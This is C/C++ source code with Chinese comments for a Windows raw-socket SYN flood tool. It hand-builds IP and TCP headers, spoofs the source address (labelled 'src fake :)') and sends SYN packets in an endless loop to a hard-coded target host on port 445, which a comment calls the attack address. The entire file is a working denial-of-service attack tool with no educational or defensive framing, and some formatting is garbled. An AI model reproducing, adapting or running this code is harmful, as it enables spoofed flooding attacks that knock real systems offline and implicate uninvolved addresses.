// syn.h typedef struct _iphdr ... { unsigned char h_verlen; //4位首部长度+4位IP版本号 unsigned char tos; //8位服务类型TOS unsigned short total_len; //16位总长度(字节) unsigned short ident; //16位标识 unsigned short frag_and_flags; //3位标志位 unsigned char ttl; //8位生存时间 TTL unsigned char proto; //8位协议号(TCP, UDP 或其他) unsigned short checksum; //16位IP首部校验和 unsigned int sourceIP; //32位源IP地址 unsigned int destIP; //32位目的IP地址} IP_HEADER; typedef struct _tcphdr // 定义TCP首部 ... { USHORT th_sport; //16位源端口 USHORT th_dport; //16位目的端口 unsigned int th_seq; //32位序列号 unsigned int th_ack; //32位确认号 unsigned char th_lenres; //4位首部长度/6位保留字 unsigned char th_flag; //6位标志位 USHORT th_win; //16位窗口大小 USHORT th_sum; //16位校验和 USHORT th_urp; //16位紧急数据偏移量} TCP_HEADER; struct ... { unsigned long saddr; //源地址 unsigned long daddr; //目的地址 char mbz; //置空 char ptcl; //协议类型 unsigned short tcpl; //TCP长度} psd_header;USHORT checksum(USHORT * buffer, int size) ... { unsigned long cksum=0; while(size >1) ...{ cksum+=*buffer++; size -=sizeof(USHORT); } if(size ) cksum += *(UCHAR*)buffer; cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum);} // syn.cpp #include " winsock2.h " #include " stdio.h " #include " memory.h " #include " stdlib.h " #include " syn.h " #pragma comment(lib, " ws2_32 " ) // -------------------------------------------------------------------------------------- #define STATUS_FAILED 0xFFFF #define SYN_DEST_IP " 192.168.0.119 " // dest #define FAKE_IP " 202.106.127.55 " // src fake :) int src_port = 80 ; int dest_port = 445 ; USHORT checksum(USHORT * buffer, int size); int main( void ) ... { int datasize; int ErrorCode; int flag; int num = 0; int TimeOut=2000,SendSEQ=0; char SendBuf[128]=...{0}; WSADATA wsaData; SOCKET SockRaw = (SOCKET)NULL; struct sockaddr_in DestAddr; IP_HEADER ip_header; TCP_HEADER tcp_header; if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0) ...{ fprintf(stderr,"WSAStartup failed: %d ",ErrorCode); ExitProcess(STATUS_FAILED); } SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED); if (SockRaw==INVALID_SOCKET) ...{ fprintf(stderr,"WSASocket() failed: %d ",WSAGetLastError()); ExitProcess(STATUS_FAILED); } flag=TRUE; ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)); if(ErrorCode==SOCKET_ERROR) printf("Set IP_HDRINCL Error! "); __try ...{ while(num <10240) ...{ num++; if (num ==10239) ...{ num = 0; printf("."); } ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut)); if(ErrorCode==SOCKET_ERROR) ...{ fprintf(stderr,"Failed to set send TimeOut: %d ",WSAGetLastError()); __leave; } memset(&DestAddr,0,sizeof(DestAddr)); DestAddr.sin_family=AF_INET; DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP); DestAddr.sin_port = htons((u_short)8080); //填充IP首部 ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本号,低四位首部长度 ip_header.tos=0; ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度(字节) ip_header.ident=1; //16位标 ip_header.frag_and_flags=0; //3位标志位 ip_header.ttl=128; //8位生存时间TTL ip_header.proto=IPPROTO_TCP; //8位协议(TCP,UDP…) ip_header.checksum=0; //16位IP首部校验和 ip_header.sourceIP = inet_addr(FAKE_IP); ip_header.destIP = inet_addr(SYN_DEST_IP); //32位目的IP地址(攻击地址) //填充TCP首部 tcp_header.th_sport=htons(src_port); //源端口号 tcp_header.th_dport=htons(dest_port); //目的端口号 tcp_header.th_seq=htonl(SendSEQ+num); //SYN序列号 tcp_header.th_ack=0; //ACK序列号置为0 tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0); //TCP长度和保留位 tcp_header.th_flag=2; //SYN 标志 tcp_header.th_win=htons(16384); tcp_header.th_urp=0; //偏移 tcp_header.th_sum=0; //校验和 //填充TCP伪首部 psd_header.saddr=ip_header.sourceIP; psd_header.daddr=ip_header.destIP; psd_header.mbz=0; psd_header.ptcl=IPPROTO_TCP; psd_header.tcpl=htons(sizeof(tcp_header)); memcpy(SendBuf, &psd_header, sizeof(psd_header)); memcpy(SendBuf+sizeof(psd_header), &tcp_header, sizeof(tcp_header)); tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header)); memcpy(SendBuf, &ip_header, sizeof(ip_header)); memcpy(SendBuf+sizeof(ip_header), &tcp_header, sizeof(tcp_header)); memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header), 0, 4); ip_header.checksum=checksum((USHORT *)SendBuf, (sizeof(ip_header)+sizeof(tcp_header))); memcpy(SendBuf, &ip_header, sizeof(ip_header)); memcpy(SendBuf+sizeof(ip_header), &tcp_header, sizeof(tcp_header)); datasize=sizeof(ip_header)+sizeof(tcp_header); //发送TCP报文 ErrorCode=sendto(SockRaw,SendBuf,datasize, 0, (struct sockaddr*)&DestAddr, sizeof(DestAddr)); if(ErrorCode==SOCKET_ERROR) printf(" Send Error:%d ",GetLastError()); }//end of while }//End of try __finally ...{ if (SockRaw != INVALID_SOCKET) closesocket(SockRaw); WSACleanup(); } return 0;}